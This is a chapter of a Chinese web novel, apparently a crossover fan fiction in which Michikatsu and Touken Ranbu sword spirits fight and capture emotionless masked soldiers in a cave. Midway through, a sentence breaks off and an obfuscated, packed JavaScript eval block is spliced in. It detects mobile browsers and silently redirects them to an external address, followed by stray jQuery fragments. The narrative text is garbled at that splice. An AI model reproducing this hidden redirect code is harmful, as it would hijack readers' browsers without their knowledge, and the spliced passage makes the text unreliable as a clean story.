第124章:抓获俘虏
就在此时,石窟入口的方向,传来了脚步声。
复数,整齐、规律,踏在石道上的声音精准得如同节拍器。
长义眼神一凛:“回收数据的小队来了。比预期快。”
“撤?”药研迅速收起所有器材。
“来不及了。”严胜已转向入口,虚哭神去出鞘半寸,“石道太窄,被堵在里面就是瓮中捉鳖。必须在这里解决。”
话音未落,四道身影已出现在石道尽头,走入石窟。
他们穿着相同的深灰色作战服,上面没有任何标记。脸上罩着纯白色的面具,只露出眼睛。那眼睛看起来很奇怪,不像是真人的眼睛,只是按固定方式移动,一遍遍扫过四周。
动作完全同步,四人扇形散开,封住所有退路。手中武器是制式的灵子短刃,刃身流淌着不祥的暗红色光。
“净罪之翼直属侦查小队。”长义低声说,手已按在刀柄上,“代号‘清道夫’初级单位。战斗模式:程序化协同,效率优先,无自我保全意识。”
最后一个字刚落,四名敌人同时动了。
对方毫无预兆地发起攻击。四人同时行动,两人径直扑向长义与药研——他们显然被判定为需要优先清除的技术支援角色。另外两人则冲向严胜与国广,速度极快,手中短刃直指咽喉与心口,轨迹利落精准。
太快了。而且完全无视防御,只攻不守。
严胜横刀格开第一击,金属碰撞的火花在昏暗石窟中迸溅。对手的力量不大,但角度刁钻到违反人体工学,仿佛全身关节都可以任意扭曲。第二击紧随而至,目标是肋下,与此同时,另一个敌人已绕到他侧后,短刃刺向后颈。
前后夹击,封死所有闪避空间。
过去的严胜,大概会直接迎上去。用绝对的速度压制,用更强的力量去摧毁。或者,在他仍是上弦之一的时候,他会依靠那特殊的眼睛预判一切,并用血鬼术去制造取胜的时机。
眼下,情况不同了。
压倒性的力量已经消失。剩下的,只是这具属于人类的躯体,以及那些生死搏杀所沉淀下来的、几乎成为身体一部分的战斗记忆。
以及,身后需要保护的人。
攻击自后方一侧袭来。严胜不回头,也不做躲闪。他侧转身体,令瞄准颈后的刀刃擦过肩头。血点飞散。
与此同时,虚哭神去向前刺出——这一击既非格挡,也非反击,只是径直刺向空无一物的前方。
不,不是空处。
是那个正面敌人为了配合同伴夹击,必须经过的、下一个身位的半步之前。
“嗤!”
短刃刺入身体。那个正要向前冲的敌人,如同主动迎上了严胜的刀锋,动作一下子停住。面具后的眼珠动了一下,里面透出的痛苦像机器突然卡住时的空白。
严胜手腕一拧,抽刀,顺势转身,刀鞘重重砸在侧后敌人的手腕上。骨裂声清晰可闻,短刃脱手。
整个过程不到两秒。
另一边,山姥切国广已用精湛的剑术压制住一个敌人,但另一个却突破了防线,冲向正在紧急收纳资料的长义和药研。
药研已拔出刀,但他作为短刀,擅长的是近身攻击。而长义正在激活某个防御符咒,但需要时间。
敌人利刃高举,对着药研的后心刺下。
严胜距离他们五步。
来不及冲过去。
但——
他手腕一抖,虚哭神去的刀鞘脱手飞出。刀鞘在空中划了道弧线,最终落在敌人脚边,击中一块早已松动的石板。
“咔嚓!”
石板碎裂,敌人脚下失衡,动作一滞。
就这一滞的瞬间,国广已解决自己的对手,反身一刀斩来。敌人勉强格挡,被震退两步,正好退到长义完成的防御符咒范围内。
金光乍现,灵子锁链从地面窜出,缠住敌人四肢。
战斗在十秒内结束。
四名敌人,一人被严胜刺穿肩胛失去战斗力,一人手腕骨折,一人被国广击晕,一人被符咒束缚。
石窟内只剩下粗重的喘息声,和敌人肢体被锁链拖拽的摩擦声。
严胜按着肩胛的伤口,血从指缝渗出。伤口不深,但火辣辣地疼。他看向那个被自己预判刺中的敌人,对方正试图用未受伤的手臂拔出嵌入石壁的短刃,动作依旧精准,但明显慢了,而且完全不顾肩胛的贯穿伤。
“没有痛觉?”药研快步走来,先检查严胜的伤口,然后皱眉看向那些敌人,“或者……痛觉被移除了?”
“是,痛觉被判定为无关信号。”长义走到被束缚的敌人面前,蹲下,摘掉了对方的面具。
面具下是一张年轻男性的脸,毫无特色,眼神依旧空洞,甚至没有聚焦在长义脸上。他的嘴唇微微翕动,重复着无声的短语,长义贴近才听清:
“……回收数据……清除目击……优先级最高……”
“完全的工具。”国广收刀入鞘,声音压抑,“连‘自己受伤了’这个事实,都无法干扰他们的任务程序。”
严胜看着那个被自己刺穿肩胛的敌人。对方甚至没有试图止血,只是用还能动的手在地上摸索,想要找回武器,继续执行“清除目击”的指令。
胃部一紧,冰冷的感受涌了上来。这感受的源头是那种存在方式:为了效率切除情感,为了精准移除痛觉,为了绝对服从扼杀自我。
这和他四百年前选择的路,何其相似,为了超越缘一,他放弃了人性,成为鬼,不惜吃人,成为只为“变强”而存在的怪物。
如果连痛苦和情感都被视为缺陷而切除,那么一个存在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151751|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还剩下什么?不过是一具精密的空壳。严胜不禁想起本丸里那些同样背负伤痕的同伴,信浓、长义,甚至那个总把“效率”挂在嘴边、此刻却拖着濒临崩溃的灵基坚持要上战场的国重……
他们每一个人的挣扎与选择,不正是建立在那些“不被切除”的痛苦与温度之上吗?
只是,他的扭曲源于自身的执念。而这些敌人,是被外力生生修剪成这样的。
“严胜殿。”药研已为他做了应急处理,敷上灵药,用绷带缠紧,“伤口不深,但需要回本丸进一步消毒。灵基没有受损。”
严胜点点头,目光却依旧停留在那些敌人身上。
“守护不是挡刀。”他忽然低声说,像是对自己,也像是对在场的所有人,“是预判威胁会在哪里出现,然后……在那里等它。”
刚才那一刀刺向空处,并不是侥幸。他在瞬间计算了两个敌人的动作轨迹、石窟的空间限制、以及国广的应对可能,然后得出的“最优解”,在那个时间点,那个位置,一定会有一个敌人经过。
所以他提前把刀送到了那里。
它超越单纯的力量与速度,根基在于经验、计算与对守护之道的深刻理解。其做法在于主动布局,让危险落入预设的轨道。
长义站起身,拍了拍手上的灰:“很精彩的实战教学。那么,我们现在有四个俘虏,和一本足以让清玄实验室关门大吉的记录。建议立刻撤离,在‘清道夫’高级单位或七支刀持有者本人到场之前。”
药研已将记录册和衣角碎片妥善封存。国广警戒着入口。
严胜最后看了一眼这个简陋的祭坛,那个盛放干涸液体的凹陷,那截凝固成求救手势的蜡烛。
地藏行平曾在这里,被一遍遍切割、改造,直到痛苦被固化,执念被编程,活生生的付丧神被锻造成只为“守护”而存在的自动人偶。
而清玄的计划里,本丸S-07是下一个观察皿。
严胜拿起虚哭神去。刀身传来的搏动平稳,那沉郁坚定的共鸣,已取代最初的混沌哭喊。
他转过身,跟上队友,朝石道出口走去。
身后,石窟渐渐被黑暗吞没。只有那些岩壁上的七支刀符文,还在暗紫色的光晕中,无声地脉动。
像一颗沉睡多年,终于开始苏醒的,
毒瘤的心脏。
回程的传送光芒中,严胜肩胛的伤口隐隐作痛。这痛楚清晰而真实,提醒着他“活着”的实感。他忽然想起临行前药研的低声汇报:国重的灵基缝合线下,概念稳固符已岌岌可危,随时可能滑向“溶解”。
那个男人明知会如此,却依然选择了……
或许,对于某些人而言,选择如何战斗、如何终结,甚至选择以何种形态活下去,比单纯地维持“活着”的形态更重要。
---